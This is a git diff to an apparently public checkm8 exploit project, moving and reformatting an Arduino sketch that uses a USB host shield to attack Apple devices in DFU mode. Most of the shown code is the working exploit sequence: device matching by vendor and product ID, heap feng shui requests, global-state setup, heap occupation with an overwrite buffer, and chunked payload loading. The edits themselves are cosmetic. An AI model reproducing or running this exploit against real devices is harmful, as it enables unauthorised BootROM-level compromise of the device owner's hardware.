diff --git a/CMakeLists.txt b/CMakeLists.txt
index f5557da..d17a70d 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -4,6 +4,7 @@ enable_language(C)
 
 include_directories(include)
 include_directories(checkm8_libusb/src)
+include_directories(checkm8_libusb/src/os)
 add_library(checkm8_libusb
         checkm8_libusb/src/core.c checkm8_libusb/src/descriptor.c checkm8_libusb/src/hotplug.c
         checkm8_libusb/src/io.c checkm8_libusb/src/strerror.c checkm8_libusb/src/sync.c
diff --git a/checkm8_arduino/src/checkm8_arduino.ino b/checkm8_arduino/src/checkm8_arduino.ino
index 8bcd30f..da24245 100644
--- a/checkm8_arduino/src/checkm8_arduino.ino
+++ b/checkm8_arduino/src/checkm8_arduino.ino
@@ -2,18 +2,21 @@
 #include "constants.h"
 
 USB Usb;
-uint8_t addr = 1;
 USB_DEVICE_DESCRIPTOR desc_buf;
 uint8_t io_buf[0x100];
+
+uint8_t addr = 1;
 EpInfo *pep = NULL;
 uint16_t nak_limit = 0;
 uint8_t rcode;
 uint8_t last_state, state;
 uint8_t pktsize;
 uint16_t sz;
-const uint8_t * p;
+const uint8_t *p;
 uint16_t part_sz;
-enum {
+
+enum
+{
     CHECKM8_INIT_RESET,
     CHECKM8_HEAP_FENG_SHUI,
     CHECKM8_SET_GLOBAL_STATE,
@@ -22,7 +25,7 @@ enum {
 };
 uint8_t checkm8_state = CHECKM8_INIT_RESET;
 
-uint8_t send_out(uint8_t * io_buf, uint8_t pktsize)
+uint8_t send_out(uint8_t *io_buf, uint8_t pktsize)
 {
     Usb.bytesWr(rSNDFIFO, pktsize, io_buf);
     Usb.regWr(rSNDBC, pktsize);
@@ -32,74 +35,6 @@ uint8_t send_out(uint8_t * io_buf, uint8_t pktsize)
     return (Usb.regRd(rHRSL) & 0x0f);
 }
 
-void setup() {
-    Serial.begin(115200);
-    Serial.println("checkm8 started");
-    if(Usb.Init() == -1)
-        Serial.println("usb init error");
-    delay(200);
-}
-
-void loop() {
-    Usb.Task();
-    state = Usb.getUsbTaskState();
-    if(state != last_state)
-    {
-        //Serial.print("usb state: "); Serial.println(state, HEX);
-        last_state = state;
-    }
-    if(state == USB_STATE_ERROR)
-    {
-        Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-    }
-    if(state == USB_STATE_RUNNING)
-    {
-        Usb.getDevDescr(addr, 0, 0x12, (uint8_t *) &desc_buf);
-        if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
-        {
-            Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-            if(checkm8_state != CHECKM8_END)
-            {
-                Serial.print("Non Apple DFU found (vendorId: "); Serial.print(desc_buf.idVendor); Serial.print(", productId: "); Serial.print(desc_buf.idProduct); Serial.println(")");
-                delay(5000);
-            }
-            return;
-        }
-        switch(checkm8_state)
-        {
-            case CHECKM8_INIT_RESET:
-                for(int i = 0; i < 3; i++)
-                {
-                    digitalWrite(6, HIGH);
-                    delay(500);
-                    digitalWrite(6, LOW);
-                    delay(500);
-                }
-                checkm8_state = CHECKM8_HEAP_FENG_SHUI;
-                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-                break;
-            case CHECKM8_HEAP_FENG_SHUI:
-                heap_feng_shui();
-                checkm8_state = CHECKM8_SET_GLOBAL_STATE;
-                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-                break;
-            case CHECKM8_SET_GLOBAL_STATE:
-                set_global_state();
-                checkm8_state = CHECKM8_HEAP_OCCUPATION;
-                while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) { Usb.Task(); }
-                break;
-            case CHECKM8_HEAP_OCCUPATION:
-                heap_occupation();
-                checkm8_state = CHECKM8_END;
-                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
-                break;
-            case CHECKM8_END:
-                digitalWrite(6, HIGH);
-                break;
-        }
-    }
-}
-
 void heap_feng_shui_req(uint8_t sz)
 {
     rcode = Usb.ctrlReq_SETUP(addr, 0, 0x80, 6, 4, 3, 0x40a, sz);
@@ -132,7 +67,6 @@ void heap_occupation()
     heap_feng_shui_req(0xc1);
     heap_feng_shui_req(0xc1);
 
-
     sz = sizeof(overwrite);
     p = overwrite;
     rcode = Usb.ctrlReq_SETUP(addr, 0, 0, 9, 0, 0, 0, sz);
@@ -164,7 +98,8 @@ void heap_occupation()
         rcode = Usb.ctrlReq_SETUP(addr, 0, 0x21, 1, 0, 0, 0, part_sz);
         Usb.regWr(rHCTL, bmSNDTOG0);
         send_out(io_buf, 0);
-        while(part_sz) {
+        while(part_sz)
+        {
             pktsize = min(part_sz, 0x40);
             for(int i = 0; i < pktsize; i++)
                 io_buf[i] = pgm_read_byte(&p[i]);
@@ -178,6 +113,84 @@ void heap_occupation()
             part_sz -= pktsize;
             p += pktsize;
         }
-        Serial.print("Payload loading... "); Serial.print(sizeof(payload) - sz); Serial.print("/"); Serial.println(sizeof(payload));
+        Serial.print("Payload loading... ");
+        Serial.print(sizeof(payload) - sz);
+        Serial.print("/");
+        Serial.println(sizeof(payload));
+    }
+}
+
+void setup()
+{
+    Serial.begin(115200);
+    Serial.println("checkm8 started");
+    if(Usb.Init() == -1)
+        Serial.println("usb init error");
+    delay(200);
+}
+
+void loop()
+{
+    Usb.Task();
+    state = Usb.getUsbTaskState();
+    if(state != last_state)
+    {
+        Serial.print("usb state: "); Serial.println(state, HEX);
+        last_state = state;
+    }
+    if(state == USB_STATE_ERROR)
+    {
+        Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+    }
+    if(state == USB_STATE_RUNNING)
+    {
+        Usb.getDevDescr(addr, 0, 0x12, (uint8_t *) &desc_buf);
+        if(desc_buf.idVendor != 0x5ac || desc_buf.idProduct != 0x1227)
+        {
+            Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+            if(checkm8_state != CHECKM8_END)
+            {
+                Serial.print("Non Apple DFU found (vendorId: ");
+                Serial.print(desc_buf.idVendor);
+                Serial.print(", productId: ");
+                Serial.print(desc_buf.idProduct);
+                Serial.println(")");
+                delay(5000);
+            }
+            return;
+        }
+        switch(checkm8_state)
+        {
+            case CHECKM8_INIT_RESET:
+                for(int i = 0; i < 3; i++)
+                {
+                    digitalWrite(6, HIGH);
+                    delay(500);
+                    digitalWrite(6, LOW);
+                    delay(500);
+                }
+                checkm8_state = CHECKM8_HEAP_FENG_SHUI;
+                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+                break;
+            case CHECKM8_HEAP_FENG_SHUI:
+                heap_feng_shui();
+                checkm8_state = CHECKM8_SET_GLOBAL_STATE;
+                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+                break;
+            case CHECKM8_SET_GLOBAL_STATE:
+                set_global_state();
+                checkm8_state = CHECKM8_HEAP_OCCUPATION;
+                while(Usb.getUsbTaskState() != USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE)
+                { Usb.Task(); }
+                break;
+            case CHECKM8_HEAP_OCCUPATION:
+                heap_occupation();
+                checkm8_state = CHECKM8_END;
+                Usb.setUsbTaskState(USB_ATTACHED_SUBSTATE_RESET_DEVICE);
+                break;
+            case CHECKM8_END:
+                digitalWrite(6, HIGH);
+                break;
+        }
     }
 }
\ No newline at end of file